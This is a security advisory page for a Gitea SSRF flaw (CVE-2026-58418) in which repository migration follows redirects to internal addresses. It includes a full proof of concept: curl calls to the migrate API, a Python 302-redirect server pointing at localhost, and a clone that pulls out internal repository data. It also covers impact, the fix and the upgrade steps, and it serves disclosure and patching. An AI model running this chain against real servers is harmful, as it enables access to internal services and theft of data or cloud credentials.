GHSA-rqhx-647v-wx32 CVE-2026-58418 GO-2026-6075
Gitea: SSRF via HTTP Redirect in Repository Migration
- Severity
- 6.5 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.31%
- Chance of exploitation in the next 30 days. Higher than 23.81% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-918 Server-Side Request Forgery (SSRF)
- Fix
1.26.4- Upgrade code.gitea.io/gitea to this version or later
Description
Summary
Gitea 1.25.4 validates the initial URL provided to the repository migration endpoint (POST /api/v1/repos/migrate) and correctly blocks requests to internal addresses like 127.0.0.1 or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy.
Affected Version
Gitea 1.25.4 (latest stable at time of writing), default configuration.
Prerequisites
- A regular Gitea user account (no admin privileges required)
- An attacker-controlled server reachable from the internet that serves HTTP 302 redirects
Reproduction
Environment
| Role | Location | Network |
|---|---|---|
| Attacker | Any machine with internet access | External network (VLAN A) |
| Gitea Server | Windows 11 VM, Gitea 1.25.4, default config, SQLite | Internal network (VLAN B) |
| Internal service | Same VM, bound to 127.0.0.1:18082 |
Localhost only |
| Redirect server | Attacker-controlled public server, port 18080 | Internet |
The attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused.
Step 1: Create an attacker account on Gitea
Register a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under Settings > Applications with the repo: write scope. The migration endpoint requires this because it creates a new repository. This token is referenced as <USER_TOKEN> in the steps below.
Step 2: Set up an internal service on the Gitea host
On the Gitea VM, create a bare Git repository that simulates an internal service:
mkdir C:\internal-repo
cd C:\internal-repo
git init
echo CONFIDENTIAL_DATA_2025 > secret.txt
git add .
git commit -m "internal confidential"
git clone --bare . C:\internal.git
cd C:\internal.git
git update-server-info
python -m http.server 18082 --bind 127.0.0.1
This serves a Git repository on localhost port 18082. It is not reachable from outside the machine.
Step 3: Confirm Gitea blocks direct access to internal addresses
From the attacker machine:
curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
-H "Authorization: token <USER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://127.0.0.1:18082/",
"repo_name": "direct-test",
"service": "git"
}'
Response:
{"message":"You can not import from disallowed hosts."}
This confirms that Gitea correctly blocks migration from internal addresses when provided directly.
Step 4: Set up a redirect server
On an attacker-controlled public server, run a script that redirects all requests to the internal service:
from http.server import BaseHTTPRequestHandler, HTTPServer
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
path = self.path
if path.startswith("/repo.git"):
path = path[len("/repo.git"):]
target = f"http://127.0.0.1:18082{path}"
self.send_response(302)
self.send_header("Location", target)
self.end_headers()
print(f"[+] Redirected {self.path} -> {target}")
do_HEAD = do_GET
HTTPServer(("0.0.0.0", 18080), RedirectHandler).serve_forever()
Step 5: Exploit the redirect bypass
From the attacker machine:
curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
-H "Authorization: token <USER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"clone_addr": "http://<ATTACKER_SERVER>:18080/repo.git",
"repo_name": "exfil-test",
"service": "git",
"private": true
}'
Response: HTTP 201 Created. The migration succeeds.
Step 6: Retrieve the exfiltrated data
From the attacker machine:
git clone http://attacker:password@<GITEA_SERVER>:3000/attacker/exfil-test.git
cat exfil-test/secret.txt
Output:
CONFIDENTIAL_DATA_2025
The attacker now has the contents of the internal repository that was only accessible on localhost.
What happens during the attack
- The attacker sends a migration request pointing to their public server.
- Gitea validates the URL. The destination is a public IP, so it passes the check.
- Gitea contacts the attacker's server to clone the repository.
- The attacker's server responds with
302 Location: http://127.0.0.1:18082/... - Gitea follows the redirect to
127.0.0.1without validating the new destination. - The internal service responds and Gitea stores the result as a new repository owned by the attacker.
- The attacker clones their newly created repository and reads the internal data.
Impact
Any authenticated user with permission to create repositories can use the migration feature to reach services that are only accessible from the Gitea server itself or its local network. Depending on the environment this could include:
- Internal Git repositories or other version control systems not exposed to the internet
- Cloud metadata endpoints (
169.254.169.254) which serve temporary credentials on AWS, GCP, and Azure - Internal APIs, CI/CD systems, databases, or admin panels bound to localhost or private networks
- Other services within the same network segment that trust connections from the Gitea server
The full content of internal Git repositories can be exfiltrated as demonstrated above. For non-Git services, the request still reaches the target (blind SSRF), which may be enough to trigger actions or leak information through error messages.
Suggested Fix
Validate the destination of HTTP redirects against the same blocklist that is applied to the initial URL. If a redirect points to a blocked address (loopback, link-local, RFC1918), the request should be aborted before following the redirect.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.gitea.io/gitea | < 1.26.4 |
1.26.4 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.gitea.io/gitea Go → 1.26.4
- go
go get code.gitea.io/gitea@v1.26.4 && go mod tidy
Severity breakdown
CVSS 3.1 6.5
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-918: Server-Side Request Forgery (SSRF)
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
References
Advisories
Packages
Other links
- github.com/go-gitea/gitea/security/advisories/GHSA-rqhx-647v-wx32
- github.com/go-gitea/gitea/pull/38108
- github.com/go-gitea/gitea/commit/9e84deb969aff5c1115c2984e41250f28c78451f
- blog.gitea.com/release-of-1.26.3-and-1.26.4
- github.com/go-gitea/gitea/releases/tag/v1.26.4
- blog.gitea.com/release-of-1.26.3-and-1.26.4
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-rcr6-4jqh-j84m Gitea: Remote Code Execution via diffpatch Git Hook Installation | Critical Known exploited | Also affects code.gitea.io/gitea |
| GHSA-fq2p-5p22-8g6j Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints | Medium | Also affects code.gitea.io/gitea |
| GHSA-2wm4-vwp6-v7xc Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata | High | Also affects code.gitea.io/gitea |
| GHSA-3r5c-2xxx-h872 Gitea: Webhook Authorization Header Returned in Plaintext via API | Low | Also affects code.gitea.io/gitea |
| GHSA-frpw-3h2q-4jj6 Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs | Medium | Also affects code.gitea.io/gitea |
| GHSA-q423-49rw-g9mh Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private | Medium | Also affects code.gitea.io/gitea |
| GHSA-2fcr-jfvc-vgg2 Gitea: Two SSRF findings | High | Also affects code.gitea.io/gitea |
| GHSA-fw57-jgch-pgf3 Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests | High | Also affects code.gitea.io/gitea |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor